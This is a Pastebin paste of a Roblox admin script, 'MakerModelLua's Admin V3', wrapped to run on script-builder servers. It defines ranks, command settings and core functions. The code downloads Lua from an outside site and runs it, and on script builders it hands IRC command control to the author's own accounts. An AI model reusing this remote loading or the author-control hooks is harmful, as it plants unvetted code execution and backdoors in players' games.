yougotoof

Untitled

Dec 21st, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 373.04 KB | None | 0 0
  1. -- This script has been converted to FE by iPxter
  2.  
  3.  
  4. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  5. local Player,Mouse,mouse,UserInputService,ContextActionService = owner
  6. do
  7. print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
  8. script.Parent = Player.Character
  9.  
  10. --RemoteEvent for communicating
  11. local Event = Instance.new("RemoteEvent")
  12. Event.Name = "UserInput_Event"
  13.  
  14. --Fake event to make stuff like Mouse.KeyDown work
  15. local function fakeEvent()
  16. local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
  17. t.connect = t.Connect
  18. return t
  19. end
  20.  
  21. --Creating fake input objects with fake variables
  22. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  23. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  24. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  25. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  26. end}
  27. --Merged 2 functions into one by checking amount of arguments
  28. CAS.UnbindAction = CAS.BindAction
  29.  
  30. --This function will trigger the events that have been :Connect()'ed
  31. local function te(self,ev,...)
  32. local t = m[ev]
  33. if t and t._fakeEvent and t.Function then
  34. t.Function(...)
  35. end
  36. end
  37. m.TrigEvent = te
  38. UIS.TrigEvent = te
  39.  
  40. Event.OnServerEvent:Connect(function(plr,io)
  41. if plr~=Player then return end
  42. if io.isMouse then
  43. m.Target = io.Target
  44. m.Hit = io.Hit
  45. else
  46. local b = io.UserInputState == Enum.UserInputState.Begin
  47. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  48. return m:TrigEvent(b and "Button1Down" or "Button1Up")
  49. end
  50. for _,t in pairs(CAS.Actions) do
  51. for _,k in pairs(t.Keys) do
  52. if k==io.KeyCode then
  53. t.Function(t.Name,io.UserInputState,io)
  54. end
  55. end
  56. end
  57. m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  58. UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  59. end
  60. end)
  61. Event.Parent = NLS([==[
  62. local Player = owner
  63. local Event = script:WaitForChild("UserInput_Event")
  64.  
  65. local UIS = game:GetService("UserInputService")
  66. local input = function(io,a)
  67. if a then return end
  68. --Since InputObject is a client-side instance, we create and pass table instead
  69. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
  70. end
  71. UIS.InputBegan:Connect(input)
  72. UIS.InputEnded:Connect(input)
  73.  
  74. local h,t
  75. --Give the server mouse data 30 times every second, but only if the values changed
  76. --If player is not moving their mouse, client won't fire events
  77. while wait(1/30) do
  78. if h~=Mouse.Hit or t~=Mouse.Target then
  79. h,t=Mouse.Hit,Mouse.Target
  80. Event:FireServer({isMouse=true,Target=t,Hit=h})
  81. end
  82. end]==],Player.Character)
  83. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  84. end
  85.  
  86. --[[
  87. Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
  88. If you want to know what commands do just go into your game and say ;cmds for a list of
  89. commands, what they do, examples, rank needed, and more!
  90. Or, go to http://www.classy-studios.com/V3/Commands.php
  91. If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
  92.  
  93.  
  94. TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
  95.  
  96. --->> DO NOT EDIT THESE SETTINGS <<---
  97. Well you can but it's a waste of your time. The settings are located in workspace
  98. in a folder called "MakerModelLua's Settings". You can also use this plugin:
  99.  
  100. http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
  101.  
  102. USE REMOTE ADMIN:
  103. http://www.classy-studios.com/Login/
  104. Mobile: http://appsto.re/us/hEn7fb.i
  105.  
  106.  
  107.  
  108. ...also... this is open source! No stupid shady module scripts, which means it works in studio!
  109.  
  110. ]]
  111.  
  112.  
  113.  
  114. local c = owner.UserId
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135. -- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
  136.  
  137.  
  138. local Settings = {
  139. Ranks = {
  140. ["Owner"] = {c};
  141. ["Admin"] = {};
  142. ["Member"] = {};
  143. ["Banned"] = {};
  144. ["Crashed"] = {};
  145. ["Muted"] = {};
  146. };
  147.  
  148. Prefix = ";";
  149. Bet = " ";
  150. MinimumAge = 0;
  151. ServerLocked = false;
  152. ColorScheme = "White";
  153. TransparencyScheme = 50;
  154. Fun = true;
  155. EnableAdminMenu = true;
  156. EnableTaskBar = true;
  157. FreeAdmin = false;
  158. Font = "Arial";
  159.  
  160. DisableAbuse = false;
  161. AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
  162. AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
  163.  
  164. LinkedAccount = "";
  165. DataKey = "";
  166.  
  167. ExecuteNotificationSound = 0; --177578949
  168. EnableSounds = true;
  169.  
  170. VIPMemberID = 0;
  171. VIPAdminID = 0;
  172.  
  173. GroupID = 0;
  174. GroupBanRank = 0;
  175. GroupMemberRank = 0;
  176. GroupAdminRank = 0;
  177. GroupOwnerRank = 0;
  178. GroupRankBan = 0;
  179. BannedGroupIDs = {};
  180.  
  181. IRCServer = "";
  182. IRCChannel = "";
  183. IRCCommandExecuters = {};
  184.  
  185. TrelloToken = ""
  186. }
  187.  
  188. local Colors = {
  189. ["WHITE"] = Color3.new(1,1,1);
  190. ["BLACK"] = Color3.new(0,0,0);
  191. ["GRAY"] = Color3.new(0.5,0.5,0.5);
  192. ["RED"] = Color3.new(1,0,0);
  193. ["GREEN"] = Color3.new(0,1,0);
  194. ["BLUE"] = Color3.new(0,0,1);
  195. ["YELLOW"] = Color3.new(1,1,0);
  196. ["PINK"] = Color3.new(1,0,1);
  197. ["MAGENTA"] = Color3.new(1,0,1);
  198. ["CYAN"] = BrickColor.new("Cyan").Color;
  199. ["TEAL"] = BrickColor.new("Teal").Color;
  200. ["BROWN"] = Color3.new(0.55,0.25,0.075);
  201. ["PURPLE"] = Color3.new(0.5,0,0.5);
  202. ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
  203. }
  204.  
  205. local Server = {
  206. Workspace = game:GetService("Workspace");
  207. Players = game:GetService("Players");
  208. Lighting = game:GetService("Lighting");
  209. MPS = game:GetService("MarketplaceService");
  210. TS = game:GetService("TeleportService");
  211. HS = game:GetService("HttpService");
  212. RS = game:GetService("RunService");
  213. PS = game:GetService("PointsService");
  214. TestS = game:GetService("TestService");
  215.  
  216. Teams = game:GetService("Teams");
  217. Data = game:GetService("DataStoreService");
  218. GDS = game:GetService("DataStoreService");
  219. NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
  220. Storage = game:GetService("ServerStorage");
  221. RS = game:GetService("ReplicatedStorage");
  222. AS = game:GetService("AssetService");
  223. }
  224.  
  225. local Icons = {
  226. ["Message"] = 7724351;
  227. ["Error"] = 94011556;
  228. ["Information"] = 144175130;
  229. ["Check"] = 132769976;
  230. ["Search"] = 61994930;
  231. ["Time"] = 136391033;
  232. ["Notice"] = 156507320;
  233. ["Sound"] = 164682936;
  234. ["Log"] = 70650545;
  235. ["Question"] = 41363872;
  236. ["Output"] = 11481605;
  237. ["Admin"] = 302470270;
  238. ["Lock"] = 11341626;
  239. ["Settings"] = 131064748;
  240. ["Map"] = 257119661;
  241. ["Plugin"] = 257097414;
  242. }
  243.  
  244. local IRC = {
  245. Codes = {
  246. ["001"] = "RPL_WELCOME",
  247. ["002"] = "RPL_YOURHOST",
  248. ["003"] = "RPL_CREATED",
  249. ["004"] = "RPL_MYINFO",
  250. ["005"] = "RPL_ISUPPORT",
  251. ["250"] = "RPL_STATSCONN",
  252. ["251"] = "RPL_LUSERCLIENT",
  253. ["252"] = "RPL_LUSEROP",
  254. ["254"] = "RPL_LUSERCHANNELS",
  255. ["255"] = "RPL_LUSERME",
  256. ["265"] = "RPL_LOCALUSERS",
  257. ["266"] = "RPL_GLOBALUSERS",
  258. ["352"] = "RPL_WHOREPLY",
  259. ["371"] = "RPL_INFO",
  260. ["372"] = "RPL_MOTD",
  261. ["374"] = "RPL_ENDINFO",
  262. ["375"] = "RPL_MOTDSTART",
  263. ["376"] = "RPL_ENDOFMOTD",
  264. ["422"] = "ERR_NOMOTD",
  265. },
  266. Ignore = {
  267. ["004"] = true,
  268. ["005"] = true,
  269. };
  270. Users = {};
  271. Logs = {};
  272. Chats = {};
  273. Forms = {};
  274. MessageAdded = Instance.new("BindableEvent");
  275.  
  276. Servers = {
  277. ["esper.net"] = {
  278. BaseUrl = "http://webchat.esper.net/";
  279. DynamicUrl = "";
  280. };
  281. ["quakenet.org"] = {
  282. BaseUrl = "http://webchat.quakenet.org/";
  283. DynamicUrl = "dynamic/leibniz",
  284. };
  285. ["swiftirc.net"] = {
  286. BaseUrl = "http://qwebirc.swiftirc.net/";
  287. DynamicUrl = "",
  288. };
  289. };
  290. NickName = "rbxMMLV3_"..math.random(1,100000);
  291.  
  292. SessionCounter = 0;
  293. Connected = false;
  294. Stop = false;
  295. SessionID = "";
  296. }
  297.  
  298. local RankHUD = {
  299. ["Muted"] = 202180094;
  300. ["Non-Admin"] = 202180121;
  301. ["Member"] = 202180052;
  302. ["Admin"] = 202180015;
  303. ["Owner"] = 202179988;
  304. }
  305.  
  306. local TextConverter = {
  307. LetterSounds = {
  308. ["a"] = {223757826, nil}; -- 203343899
  309. ["b"] = {223533700, 0.2}; -- 203344029
  310. ["c"] = {223533711, nil}; -- 203343994
  311. ["d"] = {223757910, nil}; -- 203398237
  312. ["e"] = {223758026, nil}; -- 203398295
  313. ["f"] = {223777655, nil}; -- 203398347
  314. ["g"] = {223777738, nil}; -- 203398372
  315. ["h"] = {223777757, nil}; -- 203398397
  316. ["i"] = {223777807, nil}; -- 203398422
  317. ["j"] = {223782888, nil}; -- 203398450
  318. ["k"] = {223533711, nil}; -- 203343994
  319. ["l"] = {223782961, 0.4}; -- 203398541
  320. ["m"] = {223782992, nil}; -- 203398578
  321. ["n"] = {223783063, nil}; -- 203398599
  322. ["o"] = {223783184, nil}; -- 203398611
  323. ["p"] = {223783235, nil}; -- 203398727
  324. ["q"] = {223783260, nil}; -- 203398755
  325. ["r"] = {223783305, 0.2}; -- 203398792
  326. ["s"] = {223783377, nil}; -- 203398806
  327. ["t"] = {223783446, nil}; -- 203398850
  328. ["u"] = {223783512, nil}; -- 203398872
  329. ["v"] = {223783654, nil}; -- 203398965
  330. ["w"] = {223783697, nil}; -- 203398984
  331. ["x"] = {223783796, nil}; -- 203399008
  332. ["y"] = {223783853, nil}; -- 203399043
  333. ["z"] = {223783893, nil}; -- 203399096
  334.  
  335. ["ch"] = {223784367, 0.3}; -- 203592149
  336. ["th"] = {223788235, 0.3}; -- 203399215
  337. ["sh"] = {223784505, 0.2}; -- 203399566
  338. ["wh"] = {223784555, 0.3}; -- 203622828
  339. ["oo"] = {223784456, 0.3}; -- 203399743
  340. ["ing"] = {223784393, 0.3}; -- 203402836
  341. };
  342.  
  343. LongVowels = {
  344. ["a"] = {223533687, nil}; -- 203343932
  345. ["e"] = {223777620, nil}; -- 203398314
  346. ["i"] = {223777855, nil}; -- 203398440
  347. ["o"] = {223783212, nil}; -- 203398619
  348. ["u"] = {223783572, nil}; -- 203398897
  349. };
  350.  
  351. Pronounce = {
  352. ["0"] = "zero";
  353. ["1"] = "wun";
  354. ["2"] = "too";
  355. ["3"] = "three";
  356. ["4"] = "four";
  357. ["5"] = "five";
  358. ["6"] = "six";
  359. ["7"] = "seven";
  360. ["8"] = "eyt";
  361. ["9"] = "nine";
  362. ["one"] = "wun";
  363. ["two"] = "too";
  364. ["eight"] = "eyt";
  365. ["eigh"] = "ey";
  366. ["gh"] = "h";
  367. ["kn"] = "n";
  368. ["come"] = "cu".."m";
  369. ["bye"] = "bi";
  370. ["#"] = "hashtag";
  371. ["@"] = "at";
  372. ["&"] = "and";
  373. ["*"] = "astrict";
  374. ["mn"] = "m";
  375. ["kn"] = "n";
  376. ["ies"] = "ees";
  377. };
  378.  
  379. NonEnglishRules = {
  380. ["to"] = "too";
  381. ["you"] = "yoo";
  382. ["we"] = "wee";
  383. ["are"] = "erh";
  384. ["your"] = "yoor";
  385. ["you're"] = "yoor";
  386. ["youre"] = "yoor";
  387. ["pizza"] = "peetzoh";
  388. ["ok"] = "okay";
  389. ["have"] = "hav";
  390. ["my"] = "mi";
  391. ["me"] = "mee";
  392. ["u"] = "yoo";
  393. ["r"] = "erh";
  394. ["move"] = "moov";
  395. ["dove"] = "duv";
  396. ["debris"] = "debree";
  397. ["do"] = "doo";
  398. }
  399. }
  400.  
  401. local HTMLDecode = {
  402. ["35"] = "#";
  403. ["36"] = "$";
  404. ["37"] = "%%";
  405. ["38"] = "*";
  406. ["39"] = "'";
  407. ["58"] = ":";
  408. ["59"] = ";";
  409. ["60"] = "<";
  410. ["62"] = ">";
  411. }
  412.  
  413.  
  414. local Assets = {
  415. Packages = {
  416. [27112438] = {27112025,27112039,27112052,27112056,27112068};
  417. [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
  418. [77518833] = {77518564,77518616,77518654,77518696,77518737};
  419. [32336368] = {32336059,32336117,32336182,32336243,32336306};
  420. [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
  421. [54116460] = {54116290,54116338,54116373,54116394,54116432};
  422. [39977366] = {39976703,39976829,39976927,39977192,39977295};
  423. [32357766] = {32357663,32357631,32357619,32357584,32357558};
  424. [27123973] = {27121265,27121306,27121353,27121393,27121432};
  425. [55717536] = {55717271,55717330,55717388,55717434,55717491};
  426. [28279963] = {28279160,28279217,28279859,28279894,28279938};
  427. [27403592] = {27402580,27402546,27402641,27402714,27402742};
  428. [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
  429. [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
  430. [48474394] = {48474356,48474294};
  431. [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
  432. [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
  433. [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
  434. [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
  435. [33378577] = {33378366,33378438,33378484,33378522,33378540};
  436. [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
  437. [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
  438. [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
  439. [41851073] = {41850825,41850868,41850915,41851009,41850959}
  440. };
  441. AssetTypes = {
  442. [0] = "Product";
  443. [1] = "Image";
  444. [2] = "T-Shirt";
  445. [3] = "Audio";
  446. [4] = "Mesh";
  447. [5] = "Lua";
  448. [6] = "HTML";
  449. [7] = "Text";
  450. [8] = "Hat";
  451. [9] = "Place";
  452. [10] = "Model";
  453. [11] = "Shirt";
  454. [12] = "Pants";
  455. [13] = "Decal";
  456. [16] = "Avatar";
  457. [17] = "Head";
  458. [18] = "Face";
  459. [19] = "Gear";
  460. [21] = "Badge";
  461. [22] = "Group Emblem";
  462. [24] = "Animation";
  463. [25] = "Arms";
  464. [26] = "Legs";
  465. [27] = "Torso";
  466. [28] = "Right Arm";
  467. [29] = "Left Arm";
  468. [30] = "Left Leg";
  469. [31] = "Right Leg";
  470. [32] = "Package";
  471. [33] = "YouTube Video";
  472. [34] = "Game Pass";
  473. [38] = "Plugin";
  474. [39] = "SolidModel";
  475. [40] = "MeshPart";
  476. [41] = "Hair Accessory";
  477. [42] = "Face Accessory";
  478. [43] = "Neck Accessory";
  479. [44] = "Shoulder Accessory";
  480. [45] = "Front Accessory";
  481. [46] = "Back Accessory";
  482. };
  483. AccessoryTypes = {
  484. ["all"] = 19;
  485. ["hats"] = 9;
  486. ["hair"] = 20;
  487. ["face"] = 21;
  488. ["neck"] = 22;
  489. ["shoulder"] = 23;
  490. ["front"] = 24;
  491. ["back"] = 25;
  492. ["waist"] = 26;
  493. };
  494. }
  495.  
  496. local CharacterCache = {
  497. {"MakerModelLua", 38837082};
  498. {"LuaModelMaker", 20920633};
  499. {"builderman", 156};
  500. {"Shedletsky", 261};
  501. {"Telamon", 13645};
  502. {"ROBLOX", 1};
  503. }
  504.  
  505. local FaceCovert = {
  506. Left = "xpos";
  507. Right = "xneg";
  508. Front = "zpos";
  509. Back = "zneg";
  510. Top = "ypos";
  511. Bottom = "yneg";
  512. }
  513.  
  514. local Meshes = {
  515. ["crown"] = {1, 1078075};
  516. ["king"] = {1, 11419761};
  517. ["teapot"] = {0.03, 1029523};
  518. ["apple"] = {2.5, 16190555};
  519. ["potato"] = {1, 25268275};
  520. ["panda"] = {0.5, 20709221};
  521. ["dominus"] = {0.5, 21057410};
  522. ["fedora"] = {0.75, 13640868};
  523. ["noob"] = {1, 20929341};
  524. ["knife"] = {0.3, 121944778};
  525. ["book"] = {0.3, 1136139};
  526. }
  527.  
  528. local NotifySounds = {
  529. ["Hover"] = 223134269;
  530. ["Select"] = 292141227;
  531. }
  532.  
  533. local Trello = {
  534. TrelloInfoCard = "x1rUtwEj";
  535. MainBoard = {};
  536. RequiredLists = {};
  537. RankChecklistCache = {};
  538. ToggleChecklist = nil;
  539. CommandID = nil;
  540. LastCommandDT = 0;
  541. AdminBoardID = "577ea1b21cb7975666524f26";
  542. RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
  543. RemoteDataCard = "dLtMo1en"
  544. }
  545.  
  546. local ScriptBuilders = {
  547. [260897989] = "MML's";
  548. [21053279] = "Anti's pub";
  549. [21053219] = "Anti's pri";
  550. [20279777] = "Void's 1";
  551. [437965235] = "Void's 2";
  552. [227015991] = "Vox's";
  553. [210101277] = "Master's";
  554. [531937877] = "Bleu pigs";
  555. [519251450] = "Game's";
  556. }
  557.  
  558. -- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
  559. -- Why else would I NOT have put it in a module?!?!?
  560.  
  561. local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
  562.  
  563. local SoundList,GlobalSoundList = {},{}
  564. local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
  565. local TempChatLogs = {}
  566. local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
  567. local NoSpeak = false
  568.  
  569. local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
  570. local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
  571.  
  572. local ChatLogs,CommandLogs = {},{}
  573. local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
  574. local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
  575. local Dispose,Jails,PermCommandBars = {},{},{}
  576. local Waypoints = {["Center"] = Vector3.new(0,0,0)}
  577. local Objects = {}
  578. local Sound = nil
  579. local ModLighting = false
  580. local DataReady = true
  581. local RemoteAbuseGear = {}
  582.  
  583. local GameOwner = "[ Client ]"
  584. local PlaceName = "Unknown"
  585. local PlaceInfo = {}
  586. local IsStudio = false
  587. local IsSB = false
  588. local Date = nil
  589. local Fonts = {}
  590. local PendingRequests = {}
  591. local F3X = script:FindFirstChild("F3X Tools")
  592. local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
  593. local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
  594. local KeyBinds = {}
  595. local Crowns = {}
  596. local LastKeys = {}
  597. local Cars = {}
  598. local StringReplacements = {}
  599. local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
  600. local NoBet = {"/", "-", "(", ")", ""}
  601. local ShouldFilter = true
  602.  
  603. local CrownStorage = script:FindFirstChild("CrownStorage")
  604. if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
  605.  
  606. -- import old settings just in case --
  607.  
  608.  
  609. wait(0.1)
  610.  
  611. local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
  612. -- tries to defualt to server storage, just in case an exploiter makes their own settings.
  613.  
  614. if SettingsValues then
  615. SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
  616. if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
  617. for _,Value in pairs(SettingsValues:GetChildren()) do
  618. if Settings[Value.Name] ~= nil then
  619. if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
  620. for _,NewValue in pairs(Value:GetChildren()) do
  621. if ypcall(function() return NewValue.Value end) then
  622. if Settings[Value.Name][NewValue.Name] then
  623. local Val = NewValue.Value
  624. if type(Settings[Value.Name][NewValue.Name]) == "table" then
  625. Val = {}
  626. for Word in string.gmatch(NewValue.Value, "[%w_]+") do
  627. table.insert(Val, Word)
  628. end
  629. end
  630. Settings[Value.Name][NewValue.Name] = Val
  631. end
  632. end
  633. end
  634. else
  635. if Settings[Value.Name] ~= nil then
  636. local Val = Value.Value
  637. if type(Settings[Value.Name]) == "table" then
  638. Val = {}
  639. for Word in string.gmatch(Value.Value, "%w+") do
  640. table.insert(Val, Word)
  641. end
  642. end
  643. Settings[Value.Name] = Val
  644. end
  645. end
  646. end
  647. end
  648. end
  649. end
  650.  
  651. if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
  652. Settings.LinkedAccount = ""
  653. elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
  654. Settings.LinkedAccount = "Admin"
  655. end
  656.  
  657. local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
  658. local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
  659.  
  660. wait(1)
  661.  
  662. local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
  663.  
  664. if Server.owner then print("MML Admin Compromised: Running in studio") IsStudio = true end
  665.  
  666. if not IsStudio then
  667. Server.NS = game:GetService("NetworkServer")
  668. script.Name = "Maker".."Mo".."delLua's Admin"
  669. end
  670.  
  671. if game.PlaceId > 0 then
  672. PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
  673. PlaceName = PlaceInfo.Name
  674. end
  675.  
  676. local function GetGameOwner()
  677. if PlaceInfo.Creator.CreatorType == "Group" then
  678. GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
  679. print("MML's Admin: Found group owner for game: "..GameOwner)
  680. elseif PlaceInfo.Creator.CreatorType == "User" then
  681. GameOwner = PlaceInfo.Creator.Name
  682. print("MML's Admin: Found game owner: "..GameOwner)
  683. else
  684. ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
  685. end
  686. end
  687.  
  688. if string.byte(string.sub(PlaceName,1,1)) == 226 then
  689. PlaceName = string.sub(PlaceName,4,#PlaceName)
  690. end
  691. for i = 1,5 do
  692. if GameOwner == "[ Client ]" then
  693. print("MML's Admin: Attempting to establish owner's name #"..i)
  694. GetGameOwner()
  695. wait(1)
  696. end
  697. end
  698.  
  699. if ScriptBuilders[PlaceID] or NLS then
  700. IsSB = true
  701. end
  702.  
  703. if IsSB then
  704. ShouldFilter = false
  705. Settings.IRCServer = "swiftirc.net";
  706. Settings.IRCChannel = "#PkamaraSB";
  707. Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
  708. if Settings.TrelloToken == "" then
  709. Settings.LinkedAccount = "ScriptBuilder"
  710. end
  711. if Settings.DataKey == "" then coroutine.wrap(function()
  712. repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
  713. local Key = Server.Storage:FindFirstChild("MML DataKey")
  714. print("Found key: "..Key.Value)
  715. Settings.DataKey = Key.Value
  716. Key:Destroy()
  717. end)() end
  718. end
  719. local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
  720. table.insert(Settings.Ranks["Owner"], GameOwner)
  721.  
  722. for _,Font in pairs(Enum.Font:GetEnumItems()) do
  723. Fonts[Font.Name] = Font
  724. end
  725.  
  726.  
  727.  
  728.  
  729. local function MakeFunction(Type, Name)
  730. local Func = script:FindFirstChild(Name)
  731. if Func then Func:Destroy() end
  732. Func = Instance.new(Type, script) Func.Name = Name
  733.  
  734. getfenv()[Name] = Func
  735. return Func
  736. end
  737.  
  738. MakeFunction("BindableFunction", "ExecuteCommand")
  739. MakeFunction("RemoteFunction", "ExecuteCommandClient")
  740. MakeFunction("BindableFunction", "ExecuteCode")
  741.  
  742. MakeFunction("RemoteFunction", "IsAdmin")
  743. MakeFunction("RemoteFunction", "AddExploit")
  744. MakeFunction("BindableFunction", "AddExploitServer")
  745. MakeFunction("RemoteFunction", "KickClient")
  746. MakeFunction("RemoteFunction", "ConvertTextToSound")
  747.  
  748. MakeFunction("RemoteFunction", "KeyPressed")
  749. MakeFunction("RemoteFunction", "InputKey")
  750.  
  751. MakeFunction("RemoteFunction", "RankPlayerLocal")
  752. MakeFunction("BindableFunction", "RankPlayerServer")
  753.  
  754. --[[
  755. if NLS then
  756. local Value = script:FindFirstChild("Override")
  757. LogClient.Parent = game
  758. if not Value then
  759. local Value = Instance.new("BoolValue", script) Value.Name = "Override"
  760. local CloneScript = script:Clone()
  761. CloneScript.Disabled = true
  762. CloneScript.Parent = game:FindFirstChild("ServerScriptService")
  763. CloneScript.Disabled = false
  764. CloneScript.Parent = nil
  765.  
  766. script:Destroy() script.Disabled = true
  767. end
  768. end
  769. ]]
  770.  
  771. if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
  772.  
  773. IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
  774.  
  775. -- Core functions --
  776.  
  777. function CORE:FixSettings()
  778. for _,Bet in pairs(NoBet) do
  779. if Settings.Bet == Bet then
  780. Settings.Bet = " "
  781. break
  782. end
  783. end
  784. CORE:ChangeBet(Settings.Bet)
  785.  
  786. if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
  787. if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
  788.  
  789. if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
  790. if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
  791. Settings.TransparencyScheme = Settings.TransparencyScheme/100
  792.  
  793. if not Fonts[Settings.Font] then
  794. Settings.Font = "Arial"
  795. end
  796. end
  797.  
  798. function CORE:NilPlayer(Player)
  799. if Player == nil or type(Player) == "table" then return true else return false end
  800. end
  801.  
  802. function CORE:ExecuteResource(ResourceName, Parent, Data)
  803. local ReturnScript = nil
  804. local Executed = true
  805. if script:FindFirstChild("Resources") then
  806. local RawResource = script.Resources:FindFirstChild(ResourceName)
  807. if RawResource then
  808. local Resource = RawResource:Clone()
  809. Resource.Disabled = true
  810. Resource.Parent = Parent
  811. if Data then
  812. for Key,Value in pairs(Data) do
  813. if Resource[Key] then
  814. Resource[Key].Value = Value
  815. end
  816. end
  817. end
  818. wait()
  819. Resource.Disabled = false
  820. ReturnScript = Resource
  821. else
  822. Executed = false
  823. end
  824. else
  825. Executed = false
  826. end
  827. if Executed == false then
  828. if not Data then Data = {} end
  829. local Source = ScriptCache[ResourceName]
  830.  
  831. if not Source then
  832. Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
  833. if Source then
  834. ScriptCache[ResourceName] = Source
  835. end
  836. end
  837.  
  838. if Data and Source then
  839. for Key,Value in pairs(Data) do
  840. Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
  841. end
  842. end
  843.  
  844. if Source then
  845. if NLS then
  846. ReturnScript = NLS(Source, Parent)
  847. elseif createLocalScriptWithSource then
  848. ReturnScript = createLocalScriptWithSource(Source)
  849. ReturnScript.Parent = Parent
  850. end
  851. end
  852. end
  853. return ReturnScript
  854. end
  855.  
  856. function CORE:CreateRemotePropertyReader(Obj, Override)
  857. if Server.Workspace.FilteringEnabled == true or Override then
  858. local Reader = Instance.new("RemoteFunction", Obj)
